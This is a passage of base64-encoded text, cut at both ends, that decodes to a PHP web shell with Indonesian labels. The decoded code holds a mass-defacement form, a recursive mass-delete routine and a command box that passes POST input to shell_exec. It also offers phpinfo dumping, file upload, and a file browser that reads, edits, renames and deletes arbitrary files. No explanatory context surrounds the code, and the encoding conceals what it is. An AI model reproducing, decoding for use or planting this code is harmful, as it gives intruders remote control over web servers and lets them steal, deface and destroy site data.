YXJ0JyB2YWx1ZT0nbWFzcyBkZWZhY2UnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydtYXNzX2RlbGV0ZSddKSkgewplY2hvICIkX3MiOwpmdW5jdGlvbiBoYXB1c19tYXNzYWwoJGRpciwkbmFtYWZpbGUpIHsKaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsKCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsKCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQlpZigkZGlyYiA9PT0gJy4nKSB7CgkJCWlmKGZpbGVfZXhpc3RzKCIkZGlyLyRuYW1hZmlsZSIpKSB7CgkJCQl1bmxpbmsoIiRkaXIvJG5hbWFmaWxlIik7CgkJCX0KCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQlpZihmaWxlX2V4aXN0cygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIikpIHsKCQkJCXVubGluaygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIik7CgkJCX0KCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJaWYoZmlsZV9leGlzdHMoJOKWmikpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCQl1bmxpbmsoJOKWmik7CgkJCQkJCSTilp8gPSBoYXB1c19tYXNzYWwoJGRpcmMsJG5hbWFmaWxlKTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQppZigkX1BPU1RbJ3N0YXJ0J10pIHsKCWhhcHVzX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10pOwp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGkgY2xhc3M9J2JpIGJpLWZvbGRlcic+PC9pPiBMb2thc2k6CgkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2RpcicgdmFsdWU9JyRkaXInPgoJCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHBsYWNlaG9sZGVyPSduYW1hIGZpbGUnICRfcj48YnI+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAtYXBwZW5kJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nbWFzcyBkZWxldGUnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydjbWQnXSkpIHsKaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKSB7CgkkY21kID0gc2hlbGxfZXhlYygkX1BPU1RbJ2NtZCddLicgMj4mMScpOwp9CmVjaG8gIiRfcwo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAgbWItMyc+CgkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY21kJ10sIEVOVF9RVU9URVMsICdVVEYtOCcpLiInIHBsYWNlaG9sZGVyPSd3aG9hbWknICRfcj4KCQkJPGJ1dHRvbiBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgdHlwZT0nc3VtYml0Jz48aSBjbGFzcz0nYmkgYmktYXJyb3ctcmV0dXJuLXJpZ2h0Jz48L2k+PC9idXR0b24+CgkJPC9kaXY+Cgk8L2Zvcm0+IjsKCWlmKCRjbWQpOgoJZWNobyAnCgk8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCI+CgkJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJCTxwcmUgc3R5bGU9ImZvbnQtc2l6ZToxMHB4OyI+PGNvZGU+Jy5odG1sc3BlY2lhbGNoYXJzKCRjbWQsIEVOVF9RVU9URVMsICdVVEYtOCcpLic8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4nOwoJZWxzZWlmKCEkY21kICYmICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICdQT1NUJyk6CgllY2hvICcKCTxkaXYgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCBsYW5ndWFnZS1qYXZhc2NyaXB0Ij4KCQk8ZGl2IGNsYXNzPSJzaGVsbCBtYi0zIj4KCQkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEwcHg7Ij48Y29kZT5UaWRhayBhZGEgaGFzaWw8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+JzsKZW5kaWY7Cn0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsKCUBvYl9zdGFydCgpOwoJQGV2YWwoInBocGluZm8oKTsiKTsKCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOwoJQG9iX2VuZF9jbGVhbigpOwkKCSRhd2FsID0gc3RycG9zKCRidWZmLCI8Ym9keT4iKSs2OwoJJGFraGlyID0gc3RycG9zKCRidWZmLCI8L2JvZHk+Iik7CgllY2hvICI8Yj48cHJlIGNsYXNzPSdwaHBfaW5mbyBhbnUnPiIuc3Vic3RyKCRidWZmLCRhd2FsLCRha2hpci0kYXdhbCkuIjwvcHJlPjwvYj4iOwoJZXhpdDsKfQppZihpc3NldCgkX0dFVFsndXBsb2FkJ10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsndXBsJ10pKXsKCSRoYXNpbCA9IGNvdW50KCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTsKCWZvcigkaXNpPTA7JGlzaTwkaGFzaWw7JGlzaSsrKXsKCQkkbmFtYWZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXVskaXNpXTsKCQkJJHVwID0gQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddWyRpc2ldLCIkcGF0aC8iLiRuYW1hZmlsZSk7CgkJfQoJCWlmKCRoYXNpbCA8IDIpewoJCQlpZigkdXApewoJCQllY2hvICI8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiAkbmFtYWZpbGUgb2shICIub2soKS4iPC9kaXY+IjsKCQl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX1lbHNlewoJZWNobyAiPHN0cm9uZz5VcGxvYWQ8L3N0cm9uZz4gJGhhc2lsIG9rISAiLm9rKCkuIjwvZGl2PiI7Cgl9Cn0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtJyB0eXBlPSdmaWxlJyBuYW1lPSdmaWxlW10nIG11bHRpcGxlPScnICRfcj4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbCcgdmFsdWU9J3VwbG9hZCc+CgkJPC9kaXY+Cgk8L2Zvcm0+CjwvZGl2PiI7Cn0KaWYoaXNzZXQoJF9HRVRbJ2ZpbGViYXJ1J10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsnYmlraW4nXSkpewoJJG5hbWUgPSAkX1BPU1RbJ25hbWFfZmlsZSddOwoJJGlzaV9maWxlID0gJF9QT1NUWydpc2lfZmlsZSddOwoJZm9yZWFjaCAoJG5hbWUgYXMgJG5hbWFfZmlsZSl7CgkJJGhhbmRsZSA9IEBmb3BlbigiJG5hbWFfZmlsZSIsICJ3Iik7CgkJaWYoJGlzaV9maWxlKXsKCQkJJGJ1YXQgPSBAZndyaXRlKCRoYW5kbGUsICRpc2lfZmlsZSk7CgkJfWVsc2V7CgkJCSRidWF0ID0gJGhhbmRsZTsKCQl9Cgl9CglpZigkYnVhdCl7CgkJZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPkJ1YXQgZmlsZTwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZmlsZVtdJyBwbGFjZWhvbGRlcj0nTmFtYSBmaWxlJyAkX3I+CgkJPGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc+PC9pPiBJc2kgZmlsZToKCQk8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIG5hbWU9J2lzaV9maWxlJyByb3dzPSc3JyBwbGFjZWhvbGRlcj0nSXNpIGZpbGUnICRfciA+PC90ZXh0YXJlYT4KCQk8ZGl2IGNsYXNzPSdkLWdyaWQgZ2FwLTInPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYmlraW4nIHZhbHVlPSdidWF0Jz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+IjsKfQppZihpc3NldCgkX0dFVFsnZGlyYmFydSddKSkgewplY2hvICIkX3MiOwppZihpc3NldCgkX1BPU1RbJ2J1YXQnXSkpewoJJG5hbWEgPSAkX1BPU1RbJ25hbWFfZGlyJ107Cglmb3JlYWNoICgkbmFtYSBhcyAkbmFtYV9kaXIpewoJCSRmb2xkZXIgPSBwcmVnX3JlcGxhY2UoIihbXlx3XHNcZFwtX34sOzpcW1xdXChcXS5dfFtcLl17Mix9KSIsICcnLCAkbmFtYV9kaXIpOwoJCSRmZCA9IEBta2RpciAoJGZvbGRlcik7Cgl9CglpZigkZmQpewoJCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgkJZWNobyAnPHN0cm9uZz5CdWF0IGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZm9sZGVyJz48L2k+IE5hbWEgZGlyOgoJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwIG1iLTMnPgoJCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZGlyW10nIHBsYWNlaG9sZGVyPSdOYW1hIGRpcicgJF9yPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYnVhdCcgdmFsdWU9J2J1YXQnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwoJfQp9Ci8vIGFraGlyIHRvb2xzCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKZWNobyAiPGJyPjxiPm5hbWUgOiA8L2I+Ii5iYXNlbmFtZSgkX0dFVFsnZmlsZXNyYyddKTsiPC9icj4iOwplY2hvICcKPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIGxhbmd1YWdlLWphdmFzY3JpcHQiPgoJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEycHg7Ij48Y29kZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L2NvZGU+PC9wcmU+Cgk8L2Rpdj4KPC9kaXY+JzsKfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdoYXB1cycpewplY2hvICc8YnI+PGI+bmFtZSA6IDwvYj4nLmJhc2VuYW1lKCRfUE9TVFsncGF0aCddKTsnPC9icj4nOwovLyBmaWxlCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2dhbnRpX25hbWEnKXsKaWYoaXNzZXQoJF9QT1NUWyduYW1hX2JhcnUnXSkpewppZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJy8nLiRfUE9TVFsnbmFtYV9iYXJ1J10pKXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKZWNobyAnPHN0cm9uZz5HYW50aSBuYW1hPC9zdHJvbmc+IGdhZ2FsISAnLmVyKCkuJzwvZGl2Pic7Cn0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25hbWFfYmFydSddOwp9CmVjaG8gJwo8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAgbWItMyI+CgkJPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIiBuYW1lPSJuYW1hX2JhcnUiIHR5cGU9InRleHQiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImdhbnRpX25hbWEiPgoJCTxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iZ2FudGkgbmFtYSIvPgoJPC9kaXY+CjwvZm9ybT4nOwp9IGVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7CmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsKaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBvayEgJy5vaygpLic8L2Rpdj4nOwoJfWVsc2V7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwp9CmZjbG9zZSgkZnApOwp9CmVjaG8gJwo8ZGl2IGNsYXNzPSJtYi0zIj4KCTxmb3JtIG1ldGhvZD0iUE9TVCI+CgkJPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIG1iLTMiIHJvd3M9IjciIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KCQk8ZGl2IGNsYXNzPSJkLWdyaWQgZ2FwLTIiPgoJCQk8aW5wdXQgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20iIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImVkaXQiLz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+JzsKCX0KfWVsc2V7Ci8vaGFwdXMgZGlyICYgZmlsZQppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2hhcHVzJyl7CmlmKCRfUE9TVFsndHlwZSddID09ICdkaXInKXsKaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJfQp9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpewppZih1bmxpbmsoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGZpbGU8L3N0cm9uZz4gZ2FnYWwhICcuZXIoKS4nPC9kaXY+JzsKCQl9Cgl9Cn0KJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKJHBhID0gZ2V0Y3dkKCk7CmVjaG8gJwo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIj4KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciB0YWJsZS1kYXJrIHRleHQtbGlnaHQiPgo8dGhlYWQ+Cjx0cj4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm5hbWU8L3RkPgoJCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPmxhc3QgZWRpdDwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+c2l6ZTwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+b3duZXI8Z3I+OjwvZ3I+ZG93bmVyPC90ZD4KCQk8dGQgY2xhc3M9InRleHQtY2VudGVyIj5wZXJtaXNzaW9uPC90ZD4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm9wdGlvbnM8L3RkPgo8L3RyPgo8L3RoZWFkPgo8dGJvZHkgY2xhc3M9InRleHQtbm93cmFwIj4KPHRyPgoJPHRkPjxpIGNsYXNzPSJiaSBiaS1mb2xkZXIyLW9wZW4iPjwvaT48YSBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1zZWNvbmRhcnkiIGhyZWY9Ij9wYXRoPScuZGlybmFtZSgkZGlyKS4nIj4uLjwvYT48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPgoJCTxkaXYgY2xhc3M9ImJ0bi1ncm91cCI+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZmlsZWJhcnUmcGF0aD0nLiRkaXIuJyI+PGkgY2xhc3M9ImJpIGJpLWZpbGUtZWFybWFyay1wbHVzLWZpbGwiPjwvaT48L2E+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZGlyYmFydSZwYXRoPScuJGRpci4nIj48aSBjbGFzcz0iYmkgYmktZm9sZGVyLXBsdXMiPjwvaT48L2E+CgkJPC9kaXY+Cgk8L3RkPgo8L3RyPic7CmZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7CgkkZHQgPSBkYXRlKCJZLW0tZCBIOmk6cyIsIGZpbGVtdGltZSgiJHBhdGgvJGRpciIpKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewoJCSRkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIkcGF0aC8kZGlyIikpOwoJCSRkb3duZXIgPSAkZG93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZG93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZGlyIik7Cgl9CglpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHsKCQkkZGdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKSk7CgkJJGRncnAgPSAkZGdycFsnbmFtZSddOwoJfWVsc2V7CgkJJGRncnAgPSBmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKTsKCX0KaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7CmVjaG8gIgo8dHI+Cgk8dGQ+PGkgY2xhc3M9J2JpIGJpLWZvbGRlci1maWxsJz48L2k+PGEgY2xhc3M9J3RleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtc2Vjb25kYXJ5JyBocmVmPVwiP3BhdGg9JHBhdGgvJGRpclwiPiRkaXI8L2E+PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkdDwvdGQ+Cgk8dGQgY2xhc3M9J3RleHQtY2VudGVyJz4tPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkb3duZXI8Z3I+OjwvZ3I+JGRncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGdyPic7CmVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPHJkPic7CmVjaG8gcCgiJHBhdGgvJGRpciIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2dyPjwvcmQ+PC90ZD4nOwplY2hvICIKCTx0ZCBjbGFzcz1cInRleHQtY2VudGVyXCI+Cgk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CgkJPGRpdiBjbGFzcz1cImJ0bi1ncm91cFwiPgoJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJPGJ1dHRvbiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc21cIiBuYW1lPVwib3B0XCIgdmFsdWU9XCJoYXB1c1wiPjxpIGNsYXNzPSdiaSBiaS10cmFzaC1maWxsJz48L2k+PC9idXR0b24+CgkJPC9kaXY+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZGlyXCI+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGRpclwiPgoJCTxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4KCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKfQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKCSRmdCA9IGRhdGUoIlktbS1kIEg6aTpzIiwgZmlsZW10aW1lKCIkcGF0aC8kZmlsZSIpKTsKCWlmKCFpc19maWxlKCRwYXRoLicvJy4kZmlsZSkpIGNvbnRpbnVlOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7CgkJJGZvd25lciA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIiRwYXRoLyRmaWxlIikpOwoJCSRmb3duZXIgPSAkZm93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZm93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZmlsZSIpOwoJfQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7CgkJJGZncnAgPSBAcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCIkcGF0aC8kZmlsZSIpKTsKCQkkZmdycCA9ICRmZ3JwWyduYW1lJ107Cgl9ZWxzZXsKCQkkZmdycCA9IGZpbGVncm91cCgiJHBhdGgvJGZpbGUiKTsKCX0KZWNobyAiCjx0cj4KCTx0ZD48aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrLWNvZGUtZmlsbCc+PC9pPjxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LXNlY29uZGFyeScgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+JGZ0PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiIuc3ooZmlsZXNpemUoJGZpbGUpKS4iPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRmb3duZXI8Z3I+OjwvZ3I+JGZncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxncj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8cmQ+JzsKZWNobyBwKCIkcGF0aC8kZmlsZSIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZ3I+PC9yZD48L3RkPic7CmVjaG8gIgoJPHRkIGNsYXNzPVwidGV4dC1jZW50ZXJcIj4KCQk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CgkJCTxkaXYgY2xhc3M9XCJidG4tZ3JvdXBcIj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZWRpdFwiPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtc3F1YXJlJz48L2k+PC9idXR0b24+CgkJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZG93bmxvYWRcIj48aSBjbGFzcz0nYmkgYmktZG93bmxvYWQnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiaGFwdXNcIj48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYnV0dG9uPgoJCQk8L2Rpdj4KCQkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZmlsZVwiPgoJCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKCX0KfQo/Pgo8L3Rib2R5Pgo8L3RhYmxlPgo8Z